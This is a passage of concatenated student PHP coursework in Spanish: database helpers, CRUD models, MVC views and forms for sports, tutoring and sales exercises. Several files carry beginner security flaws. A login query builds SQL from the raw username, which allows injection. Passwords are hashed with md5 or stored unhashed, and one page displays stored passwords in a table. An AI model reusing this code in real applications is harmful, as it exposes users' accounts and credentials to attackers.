resultado de la consulta como un array asociativo $total_logged = $res[0]['total_logged'];//El resultado del array en la fila 0,con el identificador de "total_logged" se asigna a una variable, ya solo recogera el total(numero) de los usuarios loggeados } function total_usuarios_tipo() { global $total_users_type; global $pdo; //TOTAL DE TIPOS DE USURIOS $querySql = "SELECT COUNT(*) as total_users_type FROM user_type";//Se declara una variable que contendra la cadena de la consulta para obtener el total de tipos de usuarios $stmt = $pdo->prepare($querySql);//Declaracion de una variable la cual contendra la varibale que represetnara PDO en el archivo "connection.php" y recibira como parametro la consulta anterior $stmt->execute();//Se ejecutara la consulta con PDO $res = $stmt->fetchAll();//Se asigna el resultado de la consulta como un array asociativo $total_users_type = $res[0]['total_users_type'];//El resultado del array en la fila 0,con el identificador de "total_users_type" se asigna a una variable, ya solo recogera el total(numero) de los tipos de usuarios } //-------------------------------------------------------------------------------------------------------------------------------------------------- function total_usuarios_activos() { global $total_active_users; global $pdo; //TOTAL DE USUARIOS ACTIVOS $querySql = "SELECT COUNT(*) as total_active_users FROM user where status_id = 1";//Se declara una variable que contendra la cadena de la consulta para obtener el total de usuarios activos $stmt = $pdo->prepare($querySql);//Declaracion de una variable la cual contendra la varibale que represetnara PDO en el archivo "connection.php" y recibira como parametro la consulta anterior $stmt->execute();//Se ejecutara la consulta con PDO $res = $stmt->fetchAll();//Se asigna el resultado de la consulta como un array asociativo $total_active_users = $res[0]['total_active_users'];//El resultado del array en la fila 0,con el identificador de "total_active_users" se asigna a una variable, ya solo recogera el total(numero) de los usuarios activos } function total_usuarios_inactivos() { global $total_inactive_users; global $pdo; //TOTAL DE USUARIOS INACTIVOS $querySql = "SELECT COUNT(*) as total_inactive_users FROM user WHERE status_id <>1";//Se declara una variable que contendra la cadena de la consulta para obtener el total de usuarios inactivos $stmt = $pdo->prepare($querySql);//Declaracion de una variable la cual contendra la varibale que represetnara PDO en el archivo "connection.php" y recibira como parametro la consulta anterior $stmt->execute();//Se ejecutara la consulta con PDO $res = $stmt->fetchAll();//Se asigna el resultado de la consulta como un array asociativo $total_inactive_users = $res[0]['total_inactive_users'];//El resultado del array en la fila 0,con el identificador de "total_inactive_users" se asigna a una variable, ya solo recogera el total(numero) de los usuarios inactivos } function usuarios() { global $user; global $pdo; //DATOS TABLA USUARIOS $querySql = "SELECT * FROM user";//Se declara una variable que contendra la cadena de la consulta para obtener todo el contenido de la tabla usuario $stmt = $pdo->prepare($querySql);//Declaracion de una variable la cual contendra la varibale que represetnara PDO en el archivo "connection.php" y recibira como parametro la consulta anterior $stmt->execute();//Se ejecutara la consulta con PDO $user = $stmt->fetchAll();//Se asigna el resultado de la consulta como un array asociativo } function estatus() { global $status; global $pdo; //DATOS TABLA STATUS $querySql = "SELECT * FROM status";//Se declara una variable que contendra la cadena de la consulta para obtener todo el contenido de la tabla status $stmt = $pdo->prepare($querySql);//Declaracion de una variable la cual contendra la varibale que represetnara PDO en el archivo "connection.php" y recibira como parametro la consulta anterior $stmt->execute();//Se ejecutara la consulta con PDO $status = $stmt->fetchAll();//Se asigna el resultado de la consulta como un array asociativo } function usuario_estatus() { global $user_status; global $pdo; $querySql = "SELECT s.name FROM user as u INNER JOIN status as s WHERE u.status_id = s.id";//Se realiza esta consulta para saber cual es el status de cada usuario, esta consulta se realiza para poder mostrar mejor el contenido de las tablas $stmt = $pdo->prepare($querySql);//Declaracion de una variable la cual contendra la varibale que represetnara PDO en el archivo "connection.php" y recibira como parametro la consulta anterior $stmt->execute();//Se ejecutara la consulta con PDO $user_status = $stmt->fetchAll();//Se asigna el resultado de la consulta como un array asociativo } function loguear() { global $log; global $pdo; //DATOS TABLE USER LOG $querySql = "SELECT * FROM user_log";//Se declara una variable que contendra la cadena de la consulta para obtener todo el contenido de la tabla user_log $stmt = $pdo->prepare($querySql);//Declaracion de una variable la cual contendra la varibale que represetnara PDO en el archivo "connection.php" y recibira como parametro la consulta anterior $stmt->execute();//Se ejecutara la consulta con PDO $log = $stmt->fetchAll();//Se asigna el resultado de la consulta como un array asociativo } function usuarios_logueados() { global $user_log; global $pdo; $querySql = "SELECT u.email FROM user as u INNER JOIN user_log as l WHERE u.id = l.user_id";//Se realiza esta consulta para saber cuando se ha loggeado un usuario, esta consulta se realiza para poder mostrar de una mejor manera el contenido de las tablas $stmt = $pdo->prepare($querySql);//Declaracion de una variable la cual contendra la varibale que represetnara PDO en el archivo "connection.php" y recibira como parametro la consulta anterior $stmt->execute();//Se ejecutara la consulta con PDO $user_log = $stmt->fetchAll();//Se asigna el resultado de la consulta como un array asociativo } function tipos() { global $type; global $pdo; //DATOS TABLE USER TYPE $querySql = "SELECT * FROM user_type";//Se declara una variable que contendra la cadena de la consulta para obtener todo el contenido de la tabla user_type $stmt = $pdo->prepare($querySql);//Declaracion de una variable la cual contendra la varibale que represetnara PDO en el archivo "connection.php" y recibira como parametro la consulta anterior $stmt->execute();//Se ejecutara la consulta con PDO $type = $stmt->fetchAll();//Se asigna el resultado de la consulta como un array asociativo } function tipos_usuarios() { global $user_type; global $pdo; $querySql = "SELECT t.name FROM user AS u INNER JOIN user_type AS t WHERE u.user_type_id = t.id";//Se realiza esta consulta para saber que tipo de usuario es cada usuario, esta consulta se raliza con el proposito de poder mostrar de una mejor manera las tablas $stmt = $pdo->prepare($querySql);//Declaracion de una variable la cual contendra la varibale que represetnara PDO en el archivo "connection.php" y recibira como parametro la consulta anterior $stmt->execute();//Se ejecutara la consulta con PDO $user_type = $stmt->fetchAll();//Se asigna el resultado de la consulta como un array asociativo } ?><file_sep>/Practica07/funciones.php <?php //Se requerira el archivo database_credentials.php para tener las credenciales de la base de datos require_once('connection.php'); //Se crea la conexion de base de datos usando PDO try { $PDO = new PDO( $dsn, $user, $password); } catch(PDOException $e) { echo 'Error al conectarnos: ' . $e->getMessage(); } function buscarUsuario($user,$password) { global $PDO; $safePassword = md5($password); $sql = "SELECT * FROM usuarios where username = '$user' AND password = '$<PASSWORD>'"; $statement = $PDO->PREPARE($sql); $statement->EXECUTE(); if($statement->rowCount() > 0) { return true; } return false; } function querydetalles($id) { global $PDO; $sql = "SELECT * FROM detalle_venta as dv inner join productos as pr on dv.id_producto = pr.id where id_venta = dv.id_venta"; $statement = $PDO->PREPARE($sql); $statement->EXECUTE(); $results = $statement-> fetchAll(); return $results; } ?><file_sep>/Examen1/models/crud.php <?php require_once "conexion.php"; class Datos extends Conexion{ #REGISTRO DE USUARIOS #------------------------------------- public function registroAlumnoModel($datosModel, $tabla){ $stmt = Conexion::conectar()->prepare("INSERT INTO $tabla (matricula, nombre, carrera, tutor) VALUES (:matricula,:nombre,:carrera,:tutor)"); $stmt->bindParam(":matricula", $datosModel["matricula"], PDO::PARAM_STR); $stmt->bindParam(":nombre", $datosModel["nombre"], PDO::PARAM_STR); $stmt->bindParam(":carrera", $datosModel["carrera"], PDO::PARAM_STR); $stmt->bindParam(":tutor", $datosModel["tutor"], PDO::PARAM_STR); if($stmt->execute()){ return "success"; } else{ return "error"; } $stmt->close(); } #INGRESO USUARIO #------------------------------------- public function ingresoMaestroModel($datosModel, $tabla){ $stmt = Conexion::conectar()->prepare("SELECT email, password FROM $tabla WHERE email = :correo"); $stmt->bindParam(":correo", $datosModel["email"], PDO::PARAM_STR); $stmt->execute(); return $stmt->fetch(); $stmt->close(); } #VISTA ALUMNOS #------------------------------------- public function vistaAlumnosModel($tabla){ $stmt = Conexion::conectar()->prepare("SELECT matricula, nombre, carrera, tutor FROM $tabla"); $stmt->execute(); return $stmt->fetchAll(); $stmt->close(); } #EDITAR ALUMNO #------------------------------------- public function editarAlumnosModel($datosModel, $tabla){ $stmt = Conexion::conectar()->prepare("SELECT *, carreras.nombre as cname, maestros.nombre as mname, alumnos.nombre as aname, alumnos.carrera as acarrera FROM alumnos INNER JOIN carreras on alumnos.carrera = carreras.id INNER JOIN maestros on alumnos.tutor = maestros.nempleado WHERE matricula = :matricula"); $stmt->bindParam(":matricula", $datosModel, PDO::PARAM_STR); $stmt->execute(); return $stmt->fetch(); $stmt->close(); } public function vistaCarrerasModel($tabla){ $stmt = Conexion::conectar()->prepare("SELECT id,nombre FROM $tabla"); $stmt->execute(); return $stmt->fetchAll(); $stmt->close(); } #ACTUALIZAR ALUMNO #------------------------------------- public function actualizarAlumnosModel($datosModel, $tabla){ $stmt = Conexion::conectar()->prepare("UPDATE $tabla SET nombre = :nombre, carrera = :carrera, tutor = :tutor WHERE matricula = :matricula"); $stmt->bindParam(":nombre", $datosModel["nombre"], PDO::PARAM_STR); $stmt->bindParam(":carrera", $datosModel["carrera"], PDO::PARAM_STR); $stmt->bindParam(":tutor", $datosModel["tutor"], PDO::PARAM_STR); $stmt->bindParam(":matricula", $datosModel["matricula"], PDO::PARAM_INT); if($stmt->execute()){ return "success"; } else{ return "error"; } $stmt->close(); } #BORRAR ALUMNO #------------------------------------ public function borrarAlumnoModel($datosModel, $tabla){ $stmt = Conexion::conectar()->prepare("DELETE FROM $tabla WHERE matricula = :matricula"); $stmt->bindParam(":matricula", $datosModel, PDO::PARAM_INT); if($stmt->execute()){ return "success"; } else{ return "error"; } $stmt->close(); } } ?><file_sep>/05_final/index.php <?php //El archivo database_utilities es requerido debido a que contiene las funciones para el manejo de los registros en el listado require_once('database_utilities.php'); //La funcion run_query hace una consulta para traer todos los registros con todos los datos de la tabla y esto se almacenara en la variable resultado $resultado = run_query(); ?> <!doctype html> <html class="no-js" lang="en"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Curso PHP | Bienvenidos</title> <link rel="stylesheet" href="./css/foundation.css" /> <script src="./js/vendor/modernizr.js"></script> </head> <body> <?php require_once('header.php'); ?> <div class="row"> <div class="large-9 columns"> <h3>Ejemplos de listado en array</h3> <a href="./añadir.php" class="button radius tiny success">Nuevo</a> <p>Listado</p> <div class="section-container tabs" data-section> <section class="section"> <div class="content" data-slug="panel1"> <div class="row"> </div> <?php if($resultado){ ?> <table> <thead> <tr> <th width="200">ID</th> <th width="250">Correo</th> <th width="250">Contraseña</th> <th width="400">Accion</th> </tr> </thead> <tbody> <?php foreach( $resultado as $id => $user ){ ?> <tr> <td><?php echo $user['id'] ?></td> <td><?php echo $user['correo'] ?></td> <td><?php echo $user['password'] ?></td> <td><a href="./modificar.php?id=<?php echo $user['id']; ?>" class="button radius tiny secondary">Ver Detalles</a> <a href="./key.php?id=<?php echo $user['id']; ?>" class="button radius tiny alert" onClick=mensaje();>Eliminar</a></td> </tr> <?php } ?> <tr> <td colspan="4"><b>Total de registros: </b> <?php echo $resultado->num_rows; ?></td> </tr> </tbody> </table> <?php }else{ ?> No existen registros <?php } ?> </div> </section> </div> </div> </div> <?php require_once('footer.php'); ?> <script type="text/javascript"> //Funcion que envia un mensaje de confirmacion antes de una baja function mensaje() { var mensaje = confirm("¿Esta seguro de eliminar este usuario?"); if(mensaje == false) { event.preventDefault(); } } </script><file_sep>/Practica08/views/modules/registrartutorias.php <?php session_start(); if(!$_SESSION["validar"]){ header("location:index.php?action=ingresar"); exit(); } ?> <br> <!-- Formulario para el registro de tutorias --> <h4>REGISTRO DE TUTORIAS</h4> <hr><br> <input type="button" style="left: -200px;" class="button radius tiny" value="Listado Tutorias" onclick="window.location= 'index.php?action=tutorias' "> <br> <strong><h4>Información General</h4></strong> <br> <form method="post"> <label>Alumno: </label> <input type="text" placeholder="Matricula" name="alumno" required> <label>Tutor: </label> <select name="tutor"> <?php $tutor = new MvcController(); $tutor -> ObtenerTutorController(); ?> </select> <label>Fecha: </label> <input type="text" placeholder="Fecha - Formato: YYYY-MM-DD" name="fecha" required> <label>Hora: </label> <input type="text" placeholder="Hora - Formato: 00:00" name="hora" required> <label>Tipo: </label> <select name="tipo"> <option>Individual</option> <option>Grupal</option> </select> <label>Tema: </label> <input type="text" placeholder="Tema" name="tema" required> <input type="submit" class="button radius tiny" style="background-color: #360956; left: -1px; width: 400px;" value="Enviar"> </form> <?php //Enviar los datos al controlador MvcControllerTutorias. $registro = new MvcControllerTutorias(); //se invoca la función registroProductosController de la clase MvcControllerTutorias: $registro -> registroTutoriasController(); if(isset($_GET["action"])){ if($_GET["action"] == "TutoriaRegistrada"){ //echo "Producto Añadido"; } } ?> <file_sep>/Calificar/1/Practica6/update_form.php <?php //Se obtiene el id del usuario que fue seleccionado por paso de variable $idBf = isset( $_GET['id'] ) ? $_GET['id'] : ''; //Se obtiene el tipo de deportista para saber si es basquetbolista o futbolista $type = isset( $_GET['type'] ) ? $_GET['type'] : ''; //Esto se hace meramente para poner un letrero de que tipo de deportista es if($type == 1) { $tipo = "Futbolista"; } else if($type == 2) { $tipo = "Basquetbolista"; } //Se requiere el archivo database_utilities.php para los distintos metodos con sentencias SQL require_once('database_utilities.php'); //Se busca la informacion de ese deportista con el metodo search_per_id donde se hara un query a la base de datos con el id del usuario // que fue seleccionado y poderlos mostrar en las cajas de texto $resultados = search_per_id($type,$idBf); //Despues de que los datos fueron cambiados y se presiono el boton de guardar, se mandan llamar los datos para poder registrarlos en la base de datos if(isset($_POST["guardar"])) { if(isset($_POST["id"])) { $id = $_POST["id"]; } if(isset($_POST["nombre"])) { $nombre = $_POST["nombre"]; } if(isset($_POST["posicion"])) { $posicion = $_POST["posicion"]; } if(isset($_POST["carrera"])) { $carrera = $_POST["carrera"]; } if(isset($_POST["email"])) { $email = $_POST["email"]; } //Metodo add para actualizar el usuario, se ponen dos id's para saber si el id que se esta registrando es el mismo que el //que esta en la base de datos y asi poder evitar que haya algun error ya que es posible actualizar los id's evitando //que se repitan if(!(update($type,$id,$idBf,$nombre,$posicion,$carrera,$email))) { //Funcion para crear la alerta donde nos senalara que ya existe un deportista con ese id echo "<script type='text/javascript'> alert('Ya existe un jugador con ese numero(id)') event.preventDefault(); </script>"; } else { //Si todo sale bien entonces nos redirigira a la tabla donde se mostraran los deportistas header("Location: sports_view.php"); } } ?> <!doctype html> <html class="no-js" lang="en"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Curso PHP | Bienvenidos</title> <link rel="stylesheet" href="./css/foundation.css" /> <script src="./js/vendor/modernizr.js"></script> </head> <body> <?php require_once('header.php'); ?> <div class="row"> <div class="large-9 columns"> <br><br> <h3>Actualizar <?php echo$tipo?></h3> <br><br> <div class="section-container tabs" data-section> <section class="section"> <div class="content" data-slug="panel1"> <div class="row"> </div> <form method="POST"> <label>Numero Dorso (ID): </label> <input type="text" name="id" value="<?php echo $resultados['id'];?>"> <br> <label>Nombre: </label> <input type="text" name="nombre" value="<?php echo $resultados['nombre'];?>"> <br> <label>Posicion: </label> <input type="text" name="posicion" value="<?php echo $resultados['posicion'];?>"> <br> <label>Carrera: </label> <select name="carrera"> <option <?php if ($resultados['carrera'] == "ITI") echo 'selected' ; ?> value="ITI">Ing en Tecnologias de la Informacion</option> <option <?php if ($resultados['carrera'] == "IM") echo 'selected' ; ?> value="IM">Ing en Mecatronica</option> <option <?php if ($resultados['carrera'] == "ITM") echo 'selected' ; ?> value="ITM">Ing en Tecnologias de la Manufactura</option> <option <?php if ($resultados['carrera'] == "ISA") echo 'selected' ; ?> value="ISA">Ing en Sistemas Automotrices</option> <option <?php if ($resultados['carrera'] == "PYMES") echo 'selected' ; ?> value="PYMES">Lic en Administracion y Gestion de PyMES</option> </select> <br> <label>Correo Electronico: </label> <input type="email" name="email" value="<?php echo $resultados['email'];?>"> <input type="submit" name="guardar" value="Actualizar" class="button radius tiny success" onClick=avoidDeleting();> </form> </div> </section> </div> </div> <script type="text/javascript"> //Funcion para crear la alerta de estar seguros si queremos actualizar el deportista function avoidDeleting() { var msj = confirm("Deseas actualizar este usuario?"); if(msj == false) { event.preventDefault(); } } </script> <?php require_once('footer.php'); ?> <file_sep>/Practica07/update.php <?php //El archivo connection.php permite la conexion a la base de datos mediante pdo require_once('connection.php'); $id = $_GET['id']; global $pdo,$sql; $id=$_POST['id']; $username=$_POST['name']; $password=$_POST['pos']; //Consulta de update para la modificacion de la informacion del jugador de futbol $sql = 'UPDATE `usuarios` SET `username`=:name,`password`=:pos WHERE id=:id'; $statement = $pdo->prepare($sql); $statement->bindParam(':id',$id); $statement->bindParam(':name',$username); $statement->bindParam(':pos',$password); $statement->execute(); $result = $statement->fetchAll(); header("Location: usuarios.php"); ?><file_sep>/Practica07/Ejercicio2/index.php <?php //El archivo connection.php permite la conexion a la base de datos mediante pdo require_once('connection.php'); global $pdo,$sql; //Consulta las filas de la tabla futbol $sql = 'SELECT id,nombre,posicion,carrera,email FROM futbol'; $statement = $pdo->prepare($sql); $statement->execute(); $filas_f = $statement->fetchAll(PDO::FETCH_OBJ); ?> <!doctype html> <html class="no-js" lang="en"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Futbol | UPV</title> <link rel="stylesheet" href="./css/foundation.css" /> <script src="./js/vendor/modernizr.js"></script> </head> <body> <?php require_once('header.php'); ?> <div class="row"> <div class="large-12 columns"> <h4><b><center><font color=ffffff>Ejercicio 2: Sistema de Control de Jugadores de la UPV</font></center></b></h4> <h4><b><font color=ffffff><center>Listado de Jugadores de Futbol - UPV</center></font></b></h4> <a href="./añadir.php" class="button radius tiny" style="background-color: #06515e">Agregar</a> <a href="./index2.php" class="button radius tiny " style="background-color: #400063">Ir al listado de basquetbol</a> <div class="section-container tabs" data-section> <section class="section"> <div class="content" data-slug="panel1"> <div class="row"> </div> <table style="background-color: #06515e"> <thead style="background-color: #06515e"> <tr style="background-color: #06515e"> <th width="200"><font color=ffffff>ID</th> <th width="300"><font color=ffffff>Nombre</th> <th width="200"><font color=ffffff>Posicion</th> <th width="200"><font color=ffffff>Carrera</th> <th width="200"><font color=ffffff>Email</th> <th width="750"><font color=ffffff>Acciones</th> </tr> </thead> <tbody> <tr> <?php foreach ($filas_f as $fila): ?> <tr style="background-color: #06515e"> <td><font color=ffffff><?php echo $fila->id ?></td> <td><font color=ffffff><?php echo $fila->nombre ?></td> <td><font color=ffffff><?php echo $fila->posicion ?></td> <td><font color=ffffff><?php echo $fila->carrera ?></td> <td><font color=ffffff><?php echo $fila->email ?></td> <td><a href="./modificar.php?id=<?php echo $fila->id; ?>" class="button radius tiny" style="background-color: #c48301; font-style: white;">Modificar</a> <a href="./eliminar.php?id=<?php echo $fila->id; ?>" class="button radius tiny alert" onClick=mensaje();>Eliminar</a></td> </tr> <?php endforeach ?> </tr> </tbody> </table> </div> </section> </div> </div> </div> <?php require_once('footer.php'); ?> <script type="text/javascript"> //Funcion que envia un mensaje de confirmacion antes de una baja function mensaje() { var mensaje = confirm("¿Esta seguro de eliminar este usuario?"); if(mensaje == false) { event.preventDefault(); } } </script><file_sep>/Practica11/index.php <? ?> <!DOCTYPE html> <html> <head> <title>Practica 11</title> <link rel="stylesheet" href="./css/foundation.css" /> <script src="./js/vendor/modernizr.js"></script> </head> <body> <div class="row"> <div class="large-12 columns"> <br><br> <center><h4>CONVERTIDOR Y CODIFICADOR DE CODIGOS EN LINEA</h4></center> <br><br> <div class="section-container tabs" data-section> <section class="section"> <div class="content" data-slug="panel1"> <div class="row"> </div> <form method="POST"> <label>Binario: </label> <input type="text" name="binario"> <br> <label>Octal: </label> <input type="text" name="octal"> <br> <label>Decimal: </label> <input type="text" name="octal"> <br> <label>Hexadecimal: </label> <input type="text" name="octal"> <br> <input type="submit" name="codificar" value="Codificar" class="button radius tiny success" onClick=mensaje(); > </form> </div> </section> </div> </div> </body> </html><file_sep>/P11/views/modules/registrarcarreras.php <?php session_start(); if(!$_SESSION["validar"]){ header("location:index.php?action=ingresar"); exit(); } ?> <h1>REGISTRO DE CARRERAS</h1> <hr> <input type="button" value="Listado Carreras" onclick="window.location= 'index.php?action=carreras' "> <br> <strong><p>Información General</p></strong> <form method="post"> <input type="text" placeholder="Nombre" name="nombre" required> <input type="submit" value="Guardar"> </form> <?php //Enviar los datos al controlador MvcController (es la clase principal de controller.php) $registro = new MvcControllerCarreras(); //se invoca la función registroProductosController de la clase MvcController: $registro -> registroCarrerasController(); if(isset($_GET["action"])){ if($_GET["action"] == "CarreraRegistrada"){ //echo "Producto Añadido"; } } ?> <file_sep>/Practica082/models/enlaces.php <?php class Paginas{ public function enlacesPaginasModel($enlaces){ if($enlaces == "ingresar" || $enlaces == "usuarios" || $enlaces == "editar" || $enlaces == "editarmaestros" || $enlaces == "editarcarreras" || $enlaces == "editartutorias" || $enlaces == "salir" || $enlaces == "maestros" || $enlaces == "alumnos" || $enlaces == "registraralumnos" || $enlaces == "registrarmaestros" || $enlaces == "registrarcarreras" || $enlaces == "carreras" || $enlaces == "tutorias" || $enlaces == "registrartutorias" || $enlaces == "reportes"){ $module = "views/modules/".$enlaces.".php"; } else if($enlaces == "index"){ $module = "views/modules/ingresar.php"; } else if($enlaces == "ok"){ $module = "views/modules/registro.php"; } else if($enlaces == "AlumnoRegistrado"){ $module = "views/modules/alumnos.php"; } else if($enlaces == "MaestroRegistrado"){ $module = "views/modules/maestros.php"; } else if($enlaces == "CarreraRegistrada"){ $module = "views/modules/carreras.php"; } else if($enlaces == "TutoriaRegistrada"){ $module = "views/modules/tutorias.php"; } else if($enlaces == "fallo"){ $module = "views/modules/ingresar.php"; } else if($enlaces == "AlumnoEditado"){ $module = "views/modules/alumnos.php"; } else if($enlaces == "MaestroEditado"){ $module = "views/modules/maestros.php"; } else if($enlaces == "TutoriaEditada"){ $module = "views/modules/tutorias.php"; } else if($enlaces == "CarreraEditada"){ $module = "views/modules/carreras.php"; } else{ $module = "views/modules/registro.php"; } return $module; } } ?><file_sep>/Ventas/views/modules/añadirStockProducto.php <?php session_start(); if(!$_SESSION["validar"]){ header("location:index.php?action=ingresar"); exit(); } ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>Productos | Añadir Stock</title> </head> <body class="hold-transition sidebar-mini"> <div class="wrapper"> <!-- Formulario para la insercion de Alumnos --> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <div class="container-fluid"> <div class="row mb-2"> <div class="col-sm-6"> <h1>Añadir Stock</h1> </div> <div class="col-sm-6"> <ol class="breadcrumb float-sm-right"> <li class="breadcrumb-item"><a href="index.php?action=dashboard">Home</a></li> <li class="breadcrumb-item active">Añadir Stock</li> </ol> </div> </div> </div><!-- /.container-fluid --> </section> <!-- Main content --> <section class="content"> <div class="container-fluid"> <div class="row"> <!-- left column --> <div class="col-md-12"> <!-- general form elements --> <div class="card card-info"> <div class="card-header" style="background-color: #05758c"> <!--<div class="float-right"> <a href="index.php?action=productos"><input class="btn btn-block btn-outline-warning" value="Listado de Productos"></a> </div>--> <h3 class="card-title">Información General</h3> </div> <!-- /.card-header --> <!-- form start --> <form method="post"> <?php //Para añadir stock a los productos //Se requiere del controlador MvcController, ademas de añadirStockProductoController y actualizaradicionStockProductoController $añadirStockProducto = new MvcController(); $añadirStockProducto -> añadirStockProductoController(); $añadirStockProducto -> actualizaradicionStockProductoController(); ?> </form> </div> <!-- /.card --> </div> </div> </div> </section> </div> </div> </body> </html> <file_sep>/04_final/index.php <!doctype html> <html class="no-js" lang="en"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Curso PHP | Bienvenidos</title> <link rel="stylesheet" href="./css/foundation.css" /> <script src="./js/vendor/modernizr.js"></script> </head> <body> <?php require_once('header.php'); ?> <!-- Menu Principal --> <h2>Menu Principal</h2> <div> <h3>Maestros</h3> <ul><!-- Redirecciona al menu de los maestros --> <a href="./maestros.php" class="button">Maestros</a> </ul> </div> <div> <h3>Alumnos</h3> <ul><!-- Redirecciona al menu de los alumnos --> <a href="./alumnos.php" class="button">Alumnos</a> </ul> </div> <?php require_once('footer.php'); ?> </body> </html> <file_sep>/Practica12/views/modules/help.php <?php //Verifica sesion session_start(); if(!$_SESSION["validar"]){ header("location:index.php?action=ingresar"); exit(); } ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>AdminLTE 3 | Data Tables</title> </head> <body class="hold-transition sidebar-mini"> <div class="wrapper"> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <div class="container-fluid"> <div class="row mb-2"> <div class="col-sm-6"> <h1>Ayuda</h1> </div> <div class="col-sm-6"> <ol class="breadcrumb float-sm-right"> <li class="breadcrumb-item"><a href="index.php?action=dashboard">Home</a></li> <li class="breadcrumb-item active">Ayuda</li> </ol> </div> </div> </div><!-- /.container-fluid --> </section> <!-- Main content --> <!-- Mensaje de error --> <section class="content"> <h1 class="headline text-info" align="center">Error 500</h1> <div class="error-content" align="center"> <br> <h3><i class="fa fa-warning text-info"></i> Oops! Algo salió mal.</h3> <p> Trabajaremos para arreglar los inconvenientes. Mientras tanto, puede <a href="index.php?action=dashboard">regresar al dashboard</a>. </p> </div> <!-- /.error-page --> </section> <!-- /.content --> </div> <!-- /.content-wrapper --> <footer class="main-footer"> <div class="float-right d-none d-sm-block"> <b>Version</b> 3.0.0-alpha </div> <strong>Copyright &copy; 2014-2018 <a href="http://adminlte.io">AdminLTE.io</a>.</strong> All rights reserved. </footer> <!-- Control Sidebar --> <aside class="control-sidebar control-sidebar-dark"> <!-- Control sidebar content goes here --> </aside> <!-- /.control-sidebar --> </div> <!-- ./wrapper --> </body> </html> <!--<br> <h4>LISTADO USUARIOS</h4> <hr> <br> <input type="button" style="left: -200px" class="button radius tiny success" value="Nuevo Usuario" onclick="window.location= 'index.php?action=registrarUsuario' "> <br> <!-- Tabla con el listado de alumnos <table border="1"> <thead> <tr> <th>ID</th> <th>Nombre</th> <th>Username</th> <th>Password</th> <th>Editar</th> <th>Eliminar</th> </tr> </thead> <tbody> <?php //Se manda al controler MvcController y llama a vistaAlumnosController y borrarAlumnosController //$vistaUsuario= new MvcController(); //$vistaUsuario -> vistaUsuariosController(); //$vistaUsuario -> borrarUsuarioController(); ?> </tbody> </table>--> <?php if(isset($_GET["action"])){ if($_GET["action"] == "AlumnoEditado"){ //echo "Cambio Exitoso"; } } ?> <file_sep>/form-poo.php <?php /** * */ class Formulario{ public $nameErr; public $emailErr; public $genderErr; public $websiteErr; public $name; public $email; public $gender; public $comment; public $website; function datos($name,$email,$gender,$comment,$website) { $this->name=$name; $this->email=$email; $this->gender=$gender; $this->comment=$comment; $this->website=$website; } function test_input($data) { $data = trim($data); $data = stripslashes($data); $data = htmlspecialchars($data); return $data; } function imprimir(){ if (empty($_POST["name"])) { $this->nameErr = "Name is required"; echo $this->nameErr; } else { $this->name = $this->test_input($_POST["name"]); // check if name only contains letters and whitespace if (!preg_match("/^[a-zA-Z ]*$/",$this->name)) { $this->nameErr = "Only letters and white space allowed"; echo $this->nameErr; }else echo $this->name; } echo "<br><br>"; if (empty($_POST["email"])) { $this->emailErr = "Email is required"; echo $this->emailErr; } else { $this->email = $this->test_input($_POST["email"]); // check if e-mail address is well-formed if (!filter_var($this->email, FILTER_VALIDATE_EMAIL)) { $this->emailErr = "Invalid email format"; echo $this->emailErr; }else echo $this->email; } echo "<br><br>"; if (empty($_POST["gender"])) { $this->genderErr = "Gender is required"; echo $this->genderErr; } else { $this->gender = $this->test_input($_POST["gender"]); echo $this->gender; } echo "<br><br>"; if (empty($_POST["website"])) { $this->website = ""; } else { $this->website = $this->test_input($_POST["website"]); // check if URL address syntax is valid (this regular expression also allows dashes in the URL) if (!preg_match("/\b(?:(?:https?|ftp):\/\/|www\.)[-a-z0-9+&@#\/%?=~_|!:,.;]*[-a-z0-9+&@#\/%=~_|]/i",$this->website)) { $this->websiteErr = "Invalid URL: "; echo $this->websiteErr; echo $this->website; }else{ $this->websiteErr = "Valid URL: "; echo $this->websiteErr; echo $this->website; } } echo "<br><br>"; if (empty($_POST["comment"])) { $this->comment = ""; } else { $this->comment = $this->test_input($_POST["comment"]); echo $this->comment; } } } ?><file_sep>/Practica082/views/modules/registrartutorias.php <?php session_start(); if(!$_SESSION["validar"]){ header("location:index.php?action=ingresar"); exit(); } ?> <br> <h4>REGISTRO DE TUTORIAS</h4> <hr><br> <input type="button" style="left: -200px;" class="button radius tiny" value="Listado Tutorias" onclick="window.location= 'index.php?action=tutorias' "> <br> <strong><h4>Información General</h4></strong> <br> <form method="post"> <input type="text" placeholder="Matricula" name="alumno" required> <input type="text" placeholder="Tutor" name="tutor" required> <input type="text" placeholder="Fecha - Formato: YYYY-MM-DD" name="fecha" required> <input type="text" placeholder="Hora - Formato: 00:00" name="hora" required> <input type="text" placeholder="Tipo" name="tipo" required> <input type="text" placeholder="Tema" name="tema" required> <input type="submit" class="button radius tiny" style="background-color: #360956; left: -1px; width: 400px; value="Enviar"> </form> <?php //Enviar los datos al controlador MvcController (es la clase principal de controller.php) $registro = new MvcControllerTutorias(); //se invoca la función registroProductosController de la clase MvcController: $registro -> registroTutoriasController(); if(isset($_GET["action"])){ if($_GET["action"] == "TutoriaRegistrada"){ //echo "Producto Añadido"; } } ?> <file_sep>/Ventas/sistema2.sql -- phpMyAdmin SQL Dump -- version 4.7.4 -- https://www.phpmyadmin.net/ -- -- Servidor: 1192.168.127.12 -- Tiempo de generación: 18-06-2018 a las 11:56:42 -- Versión del servidor: 10.1.26-MariaDB -- Versión de PHP: 7.1.9 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; SET AUTOCOMMIT = 0; START TRANSACTION; SET time_zone = "+00:00"; /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET 